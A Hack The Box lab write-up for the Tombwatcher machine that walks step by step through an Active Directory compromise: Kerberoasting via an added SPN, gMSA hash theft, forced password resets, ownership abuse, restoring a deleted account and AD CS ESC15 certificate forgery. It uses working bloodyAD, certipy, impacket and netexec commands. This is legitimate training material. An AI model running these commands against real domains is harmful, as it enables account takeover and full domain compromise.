← Back to Writeups
HTB Practice Lab

Tombwatcher

Original practice notes covering a long Active Directory privilege chain built around delegated permissions, gMSA abuse, object control, and AD CS.

Hack The BoxWindows Active Directory · Medium
This page is a direct HTML transfer of my original practice notes. The technical content, commands, findings, and attack path have been kept intact rather than rewritten into a different walkthrough.

Platform: Hack The Box
Difficulty: Medium
Operating System: Windows Active Directory
Primary Topics: Active Directory ACL Abuse, Kerberoasting, gMSA Abuse, AD Object Ownership, AD CS (ESC15)


Machine Information

Item Value
Target 10.129.25.96
Domain tombwatcher.htb
Hostname DC01.tombwatcher.htb
Initial User henry
Password H3nry_987TGV!

Note

The machine rebooted during the assessment and later changed to:

10.129.26.63


Objectives

  • Enumerate exposed services
  • Identify Active Directory attack paths
  • Abuse delegated ACL permissions
  • Escalate privileges through multiple users
  • Restore deleted privileged account
  • Exploit ADCS ESC15
  • Obtain Domain Administrator
  • Capture both flags

Initial Enumeration

Nmap Service Scan

Always begin with a standard service/version scan.

nmap 10.129.25.96 \
-sV \
-sC \
-A \
-oN nmap.txt

Interesting Findings

Port Service Notes
53 DNS Domain Controller DNS
80 HTTP Microsoft IIS
88 Kerberos Active Directory Authentication
389 LDAP Directory Services
445 SMB File Shares
464 Kerberos Password Service
636 LDAPS Secure LDAP
3268 Global Catalog
3269 Global Catalog SSL
5985 WinRM Potential Remote Shell

Initial Assessment

Immediately recognizable as a Domain Controller due to:

  • DNS
  • Kerberos
  • LDAP
  • Global Catalog
  • SMB
  • WinRM
  • Active Directory certificate

Full TCP Scan

Windows frequently exposes dynamic RPC services.

Never rely solely on the initial Nmap scan.

sudo nmap \
-Pn \
-sS \
-p- \
10.129.25.96

Additional ports discovered:

9389
49666
49689
49690
49692
49710
54481
54496

Fingerprint the newly discovered ports.

nmap \
-sV \
-sC \
-p9389,49666,49689,49690,49692,49710,54481,54496 \
10.129.25.96

Results:

Port Service
9389 .NET Message Framing
49666 MSRPC
49689 RPC over HTTP
49690 MSRPC
49692 MSRPC
49710 MSRPC
54481 MSRPC
54496 MSRPC

Notes

Most high-numbered ports are dynamically allocated Windows RPC endpoints.

These often become useful later during authentication and remote management but generally do not provide an immediate attack surface.


Host Resolution

Before using BloodHound, map the domain locally.

10.129.25.96    tombwatcher.htb
10.129.25.96    dc01.tombwatcher.htb

BloodHound Enumeration

With valid credentials available, BloodHound becomes the primary enumeration tool.

Collect data:

bloodhound-python \
-d tombwatcher.htb \
-u henry \
-p 'H3nry_987TGV!' \
-ns 10.129.25.96 \
-c All

Import the generated ZIP into BloodHound.


Initial BloodHound Analysis

Mindset

At this stage, stop thinking about machines.

Start thinking about permissions.

Instead of asking:

"Where can Henry log in?"

Ask:

"What objects can Henry influence?"

BloodHound is significantly more valuable when used to identify privilege relationships rather than simply identifying administrator sessions.


Interesting Edge

The first meaningful attack path discovered:

Henry
      │
WriteSPN
      │
      ▼
Alfred

Henry possesses WriteSPN over Alfred.

This immediately becomes the primary avenue for privilege escalation.


Understanding WriteSPN

WriteSPN allows modification of a user's Service Principal Names.

Normally, user accounts do not possess SPNs.

If an attacker can add one:

Fake SPN
      │
      ▼
Request Service Ticket
      │
      ▼
Kerberos issues TGS
      │
      ▼
Extract Ticket
      │
      ▼
Offline Crack
      │
      ▼
Recover User Password

This effectively converts an ACL permission into a Kerberoasting opportunity.


Phase 1 — Henry → Alfred

Verify Existing SPNs

Before modifying anything, establish a baseline.

bloodyAD \
--host dc01.tombwatcher.htb \
-d tombwatcher.htb \
-u henry \
-p 'H3nry_987TGV!' \
get object Alfred \
--attr servicePrincipalName

Expected output:

distinguishedName:
CN=Alfred,CN=Users,DC=tombwatcher,DC=htb

No SPNs are currently assigned.


Add Fake SPN

Assign a fake HTTP service.

bloodyAD \
--host dc01.tombwatcher.htb \
-d tombwatcher.htb \
-u henry \
-p 'H3nry_987TGV!' \
set object Alfred \
servicePrincipalName \
-v 'HTTP/fake.tombwatcher.htb'

Expected:

[+] Alfred's servicePrincipalName has been updated

Verify Modification

Always confirm object changes.

bloodyAD \
--host dc01.tombwatcher.htb \
-d tombwatcher.htb \
-u henry \
-p 'H3nry_987TGV!' \
get object Alfred \
--attr servicePrincipalName

Output:

distinguishedName:
CN=Alfred,CN=Users,DC=tombwatcher,DC=htb

servicePrincipalName:
HTTP/fake.tombwatcher.htb

Verification confirms the SPN was successfully assigned.


Request Kerberos Ticket

Request a service ticket for the newly created SPN.

impacket-GetUserSPNs \
tombwatcher.htb/henry:H3nry_987TGV! \
-dc-ip 10.129.25.96 \
-request \
-outputfile alfred.kb

Expected output:

$krb5tgs$23$*Alfred...

Crack the Ticket

Hashcat mode:

13100

Run:

hashcat \
-m 13100 \
alfred.kb \
/usr/share/wordlists/rockyou.txt

Recovered credentials:

Alfred
basketball

Verification

Confirm the recovered password.

netexec ldap \
dc01.tombwatcher.htb \
-u Alfred \
-p basketball

Successful authentication confirms valid credentials.


Key Takeaways

  • BloodHound identified the attack path before exploitation.
  • WriteSPN can be transformed into Kerberoasting.
  • Always verify directory modifications.
  • Offline cracking avoids interacting further with the target.
  • Every newly compromised account should trigger another BloodHound review.

Next Phase

Continue BloodHound enumeration using Alfred's credentials.

The next privilege escalation path begins with:

Alfred
    │
AddSelf
    │
Infrastructure

Phase 2 — Alfred → Infrastructure

Re-Enumerate BloodHound

After compromising any new principal, immediately perform another round of BloodHound analysis.

Do not assume the original attack path is still optimal.

Using Alfred's credentials, BloodHound revealed the following relationship:

Alfred
    │
 AddSelf
    │
    ▼
Infrastructure

The Infrastructure group possesses the ReadGMSAPassword privilege over the ANSIBLE_DEV$ gMSA account.

This creates the next privilege escalation path.

Alfred
      │
 AddSelf
      │
      ▼
Infrastructure
      │
ReadGMSAPassword
      │
      ▼
ANSIBLE_DEV$

Understanding AddSelf

The AddSelf permission allows a user to add themselves as a member of a group.

While this appears limited compared to GenericAll or GenericWrite, it is often enough to inherit any permissions delegated to that group.

In this case:

Alfred
        │
AddSelf
        │
        ▼
Infrastructure Group
        │
Inherited Permissions
        │
        ▼
ReadGMSAPassword

Verify Current Group Membership

Before modifying the group, inspect its current members.

bloodyAD \
--host dc01.tombwatcher.htb \
-d tombwatcher.htb \
-u Alfred \
-p 'basketball' \
get object Infrastructure \
--attr member

Expected output:

distinguishedName:
CN=Infrastructure,CN=Users,DC=tombwatcher,DC=htb

No members are currently listed.


Add Alfred to Infrastructure

bloodyAD \
--host dc01.tombwatcher.htb \
-d tombwatcher.htb \
-u Alfred \
-p 'basketball' \
add groupMember Infrastructure Alfred

Expected:

[+] Alfred added to Infrastructure

Verify Membership

Always verify successful privilege changes.

bloodyAD \
--host dc01.tombwatcher.htb \
-d tombwatcher.htb \
-u Alfred \
-p 'basketball' \
get object Infrastructure \
--attr member

Expected:

member:
CN=Alfred,CN=Users,DC=tombwatcher,DC=htb

Verification confirms Alfred successfully inherited Infrastructure's permissions.


Phase 3 — Infrastructure → ANSIBLE_DEV$

Understanding gMSAs

A Group Managed Service Account (gMSA) is a special Active Directory account whose password is automatically managed by the domain.

Unlike traditional service accounts:

  • Passwords are long and randomly generated.
  • Password rotation is automatic.
  • Administrators never manually know the password.

Instead, authorized computers or users retrieve the password directly from Active Directory.

If an attacker gains ReadGMSAPassword, they can retrieve the NTLM hash without ever knowing the plaintext password.


Retrieve the gMSA Password

NetExec automatically parses the managed password blob.

netexec ldap \
dc01.tombwatcher.htb \
-d tombwatcher.htb \
-u Alfred \
-p 'basketball' \
--gmsa

Output:

ANSIBLE_DEV$

47f92356b62e2b1c7b185df4842b63ad

This is the NTLM hash for the gMSA account.


Notes

Attempting to crack the hash was unsuccessful.

Given the context of the machine, this strongly suggested the intended attack path was Pass-the-Hash rather than password recovery.

This is common for gMSA accounts because:

  • Passwords are extremely long.
  • Passwords are randomly generated.
  • Offline cracking is generally impractical.

Re-Enumerate BloodHound

Using the recovered gMSA credentials, BloodHound revealed another delegated permission.

ANSIBLE_DEV$
        │
ForceChangePassword
        │
        ▼
Sam

Rather than requiring GenericAll, the service account only needed permission to reset Sam's password.


Understanding ForceChangePassword

ForceChangePassword allows an attacker to reset another user's password without knowing the current password.

Unlike password spraying or Kerberoasting:

  • No cracking required.
  • No interaction from the victim.
  • Immediate account takeover.
ForceChangePassword
        │
        ▼
Reset Password
        │
        ▼
Authenticate as Target

Phase 4 — ANSIBLE_DEV$ → Sam

Reset Sam's password.

Using the NTLM hash:

bloodyAD \
--host dc01.tombwatcher.htb \
-d tombwatcher.htb \
-u 'ANSIBLE_DEV$' \
-p ':47f92356b62e2b1c7b185df4842b63ad' \
set password Sam 'Password123!'

Expected:

[+] Password changed successfully!

Verify Credentials

Always validate newly obtained credentials.

netexec ldap \
dc01.tombwatcher.htb \
-d tombwatcher.htb \
-u Sam \
-p 'Password123!'

Successful authentication confirms account takeover.


Re-Enumerate BloodHound

With Sam compromised, another ACL edge became available.

Sam
    │
WriteOwner
    │
    ▼
John

This introduces another common Active Directory abuse primitive.

Ownership.


Understanding WriteOwner

Object owners possess implicit authority over the object's permissions.

Even if Sam lacks GenericAll today:

WriteOwner
        │
Become Owner
        │
Modify DACL
        │
Grant GenericAll
        │
Reset Password

This effectively turns ownership into full control.


Key Takeaways

  • Re-enumerate BloodHound after every successful compromise.
  • AddSelf is often underestimated but can inherit highly privileged rights.
  • gMSA accounts are designed to resist password cracking; passing the hash is usually the intended path.
  • ForceChangePassword provides immediate account compromise without requiring the current password.
  • Ownership abuse frequently becomes GenericAll after modifying the object's ACL.

Next Phase

The next stage abuses:

Sam
    │
WriteOwner
    │
John

to gain control of John, obtain a WinRM shell, enumerate Deleted Objects, restore cert_admin, and ultimately exploit AD CS ESC15 for Domain Administrator.

Phase 5 — Sam → John

BloodHound Finding

After compromising Sam, BloodHound identified another ACL-based privilege escalation path.

Sam
    │
WriteOwner
    │
    ▼
John

Although Sam does not have GenericAll over John, ownership can be abused to grant additional permissions.


Abuse WriteOwner

Step 1 — Take Ownership

Transfer ownership of John's account to Sam.

bloodyAD \
--host dc01.tombwatcher.htb \
-d tombwatcher.htb \
-u Sam \
-p 'Password123!' \
set owner John Sam

Expected output:

[+] Owner changed successfully

Why This Works

The owner of an Active Directory object is always permitted to modify that object's DACL.

This means ownership can almost always be converted into full control.

WriteOwner
      │
Become Owner
      │
Modify ACL
      │
Grant GenericAll
      │
Reset Password

Step 2 — Grant GenericAll

Now that Sam owns John's object, grant full control.

bloodyAD \
--host dc01.tombwatcher.htb \
-d tombwatcher.htb \
-u Sam \
-p 'Password123!' \
add genericAll John Sam

Expected:

[+] GenericAll successfully added

Step 3 — Reset John's Password

With GenericAll established, reset the password.

bloodyAD \
--host dc01.tombwatcher.htb \
-d tombwatcher.htb \
-u Sam \
-p 'Password123!' \
set password John 'NewPassword123!'

Expected:

[+] Password changed successfully!

Verify Credentials

Always verify the new account.

netexec ldap \
dc01.tombwatcher.htb \
-u John \
-p 'NewPassword123!'

Successful authentication confirms complete control of John's account.


Enumerate SMB Shares

The first step after obtaining a new account is to enumerate accessible shares.

netexec smb \
dc01.tombwatcher.htb \
-u John \
-p 'NewPassword123!' \
--shares

Results:

Share Access
IPC$ READ
NETLOGON READ
SYSVOL READ

Administrative shares are present but inaccessible.


Notes

Enumeration of:

  • NETLOGON
  • SYSVOL

did not reveal anything useful.

Rather than spending additional time manually searching SMB shares, move to interactive access.


Obtain WinRM Shell

John has WinRM access.

evil-winrm \
-i 10.129.25.96 \
-u John \
-p 'NewPassword123!'

Successful authentication provides an interactive PowerShell session.

At this point the user flag can be collected.


Local Enumeration

With interactive PowerShell access available, begin Active Directory enumeration from inside the domain.

One interesting query is inspecting deleted Active Directory objects.

Get-ADObject `
-Filter 'isDeleted -eq $true' `
-IncludeDeletedObjects `
-Properties * |
Format-List Name,ObjectGUID,Deleted,DistinguishedName

Interesting output:

cert_admin

appears multiple times inside the Deleted Objects container.


Understanding Deleted Objects

Deleting an Active Directory object does not immediately remove it from the database.

Instead:

Deleted User
        │
Tombstoned
        │
Stored in
Deleted Objects
        │
Recoverable

If sufficient privileges exist, deleted objects may be restored.

This creates an opportunity to recover previously privileged accounts.


Phase 6 — Restore cert_admin

From the deleted object list, select one of the ObjectGUID values.

Restore the account.

Restore-ADObject `
-Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf

Expected:

Object restored successfully.

Reset cert_admin Password

Once restored, assign a known password.

Using rpcclient:

rpcclient 10.129.26.63 \
-U 'tombwatcher.htb\john'

Within the rpcclient shell:

setuserinfo cert_admin 23 Password01!

This assigns a new password to the restored account.


Verify Credentials

Confirm access.

netexec ldap \
dc01.tombwatcher.htb \
-u cert_admin \
-p 'Password01!'

Successful authentication confirms ownership of the restored account.


Enumerate Active Directory Certificate Services

The newly recovered account has certificate-related permissions.

Begin by enumerating the Certificate Authority.

certipy-ad find \
-u cert_admin \
-p 'Password01!' \
-dc-ip 10.129.26.63 \
-vulnerable \
-output cert_admin_vuln

Interesting findings:

Template

WebServer

BloodHound and Certipy identify:

ESC15

as exploitable.


Understanding ESC15

The vulnerable template allows:

  • Enrollee Supplies Subject
  • Schema Version 1

This makes it possible to request a certificate for another user while supplying a malicious Application Policy.

Effectively:

Request Certificate
        │
Supply Administrator UPN
        │
Inject Client Authentication
        │
Receive Valid Certificate
        │
Authenticate as Administrator

Unlike Kerberoasting or ACL abuse, no password is required.

Possession of the certificate becomes equivalent to possessing Administrator credentials.


Key Takeaways

  • Object ownership is frequently convertible into GenericAll.
  • Always obtain an interactive shell if available after compromising a new account.
  • Deleted Objects are often overlooked during Active Directory enumeration.
  • Restoring deleted privileged users can expose entirely new attack paths.
  • Certipy should always be used whenever certificate services are present.

Next Phase

The final stage abuses:

cert_admin
        │
ESC15
        │
Administrator Certificate
        │
LDAP Shell
        │
Domain Admin

to obtain full domain compromise and capture the root flag.

Phase 7 — Exploiting ESC15

BloodHound / Certipy Finding

After restoring and taking control of cert_admin, Certipy identified the following vulnerable certificate template.

Template:
WebServer

Vulnerability:
ESC15

Relevant characteristics:

Setting Value
Enrollee Supplies Subject Enabled
Schema Version 1
Manager Approval Disabled
Authorized Signatures 0
Enrollable By cert_admin

This template is vulnerable because it allows an attacker to request a certificate while supplying their own identity information.


Understanding ESC15

Unlike many AD CS attacks, ESC15 abuses Application Policies.

Normally:

Certificate
        │
Server Authentication

With ESC15:

Certificate Request
        │
Inject Client Authentication EKU
        │
Administrator UPN
        │
Certificate Issued
        │
Authenticate as Administrator

No password is required.

The certificate itself becomes the credential.


Request Administrator Certificate

Generate a certificate for the Administrator account.

certipy-ad req \
-u cert_admin \
-p 'Password01!' \
-dc-ip 10.129.26.63 \
-target DC01.tombwatcher.htb \
-ca "tombwatcher-CA-1" \
-template WebServer \
-application-policies "Client Authentication" \
-upn Administrator@tombwatcher.htb

Expected output:

administrator.pfx

The generated PFX contains:

  • Private Key
  • Administrator Certificate

Authenticate Using the Certificate

Use the generated certificate instead of a password.

certipy-ad auth \
-pfx administrator.pfx \
-dc-ip 10.129.26.63 \
-ldap-shell

Successful authentication provides an interactive LDAP shell as Administrator.


Why LDAP Shell?

Although Administrator authentication has already been achieved, the LDAP shell provides a convenient way to modify Active Directory objects directly.

Rather than creating a new shell immediately, simply grant the already-compromised account elevated privileges.

This avoids creating unnecessary credentials or additional persistence.


Grant Domain Administrator

Inside the LDAP shell:

add_user_to_group john "Domain Admins"

Expected:

Adding user:
john

to group:
Domain Admins

Result:
OK

Grant Enterprise Administrator

Also add John to Enterprise Admins.

add_user_to_group john "Enterprise Admins"

Expected:

Result:
OK

Verify Group Membership

Reconnect as John.

evil-winrm \
-i 10.129.26.63 \
-u John \
-p 'NewPassword123!'

Once connected:

whoami /groups

Expected output now includes:

Domain Admins

Enterprise Admins

This confirms successful privilege escalation.


Capture Root Flag

With Domain Administrator privileges established:

cd C:\Users\Administrator\Desktop

type root.txt

Root obtained.


Complete Attack Chain

Henry
        │
WriteSPN
        │
        ▼
Alfred
        │
AddSelf
        │
        ▼
Infrastructure
        │
ReadGMSAPassword
        │
        ▼
ANSIBLE_DEV$
        │
ForceChangePassword
        │
        ▼
Sam
        │
WriteOwner
        │
        ▼
John
        │
Restore Deleted Object
        │
        ▼
cert_admin
        │
ESC15
        │
Administrator Certificate
        │
LDAP Authentication
        │
        ▼
Domain Administrator

Tools Used

Tool Purpose
Nmap Service and port enumeration
BloodHound Active Directory attack path discovery
bloodhound-python BloodHound data collection
bloodyAD ACL abuse and object manipulation
Impacket GetUserSPNs Kerberoasting
Hashcat Offline password cracking
NetExec Authentication verification, SMB, LDAP, gMSA extraction
Evil-WinRM Interactive PowerShell shell
rpcclient Password reset
Certipy AD CS enumeration and exploitation

Active Directory Primitives Used

Primitive Purpose
WriteSPN Create fake SPN for Kerberoasting
Kerberoasting Recover Alfred's password
AddSelf Join Infrastructure group
ReadGMSAPassword Retrieve managed service account hash
ForceChangePassword Reset Sam's password
WriteOwner Take ownership of John's account
GenericAll Full control over John
Restore-ADObject Recover deleted privileged account
ESC15 Obtain Administrator certificate

Methodology Notes

Several themes emerged throughout this assessment.

1. Let BloodHound Drive Decisions

Every privilege escalation originated from BloodHound.

Rather than manually searching for vulnerabilities after each compromise, each newly obtained account was imported into the attack graph to identify the next ACL edge.

This minimizes guesswork and produces a deterministic attack path.


2. Re-Enumerate After Every Compromise

Each compromised identity exposed new permissions.

Henry

↓

Alfred

↓

ANSIBLE_DEV$

↓

Sam

↓

John

↓

cert_admin

Treat every account as a fresh starting point.


3. Verify Every Action

Every privilege modification was immediately validated before continuing.

Examples:

  • Verify SPN creation
  • Verify group membership
  • Verify password resets
  • Verify authentication
  • Verify certificate issuance
  • Verify administrator group membership

Verification reduces confusion later in the engagement.


4. Think in Graphs, Not Machines

This box contains almost no software exploitation.

Every privilege escalation came from:

  • Delegated permissions
  • ACL abuse
  • Trust relationships
  • Object ownership
  • Certificate Services

Modern Active Directory assessments frequently resemble graph traversal problems more than traditional exploitation.


Lessons Learned

  • BloodHound should be one of the first tools used whenever valid domain credentials are available.
  • Small delegated permissions can often be chained into complete domain compromise.
  • Always investigate object ownership, delegated ACLs, and group permissions before searching for software vulnerabilities.
  • gMSA accounts should generally be treated as pass-the-hash opportunities rather than password cracking targets.
  • Deleted Active Directory objects can expose privileged accounts that are easily overlooked.
  • AD CS remains one of the highest-impact privilege escalation vectors in modern Active Directory environments.

Summary

TombWatcher demonstrates how seemingly low-impact Active Directory permissions can be chained into full Domain Administrator compromise without exploiting a single software vulnerability.

The entire attack path relies on understanding and abusing delegated permissions:

  • ACL abuse
  • Kerberoasting
  • Group membership inheritance
  • gMSA password retrieval
  • Object ownership
  • Deleted object recovery
  • Active Directory Certificate Services

This makes TombWatcher an excellent exercise in graph-based Active Directory privilege escalation and reinforces the importance of permission-centric enumeration during enterprise assessments.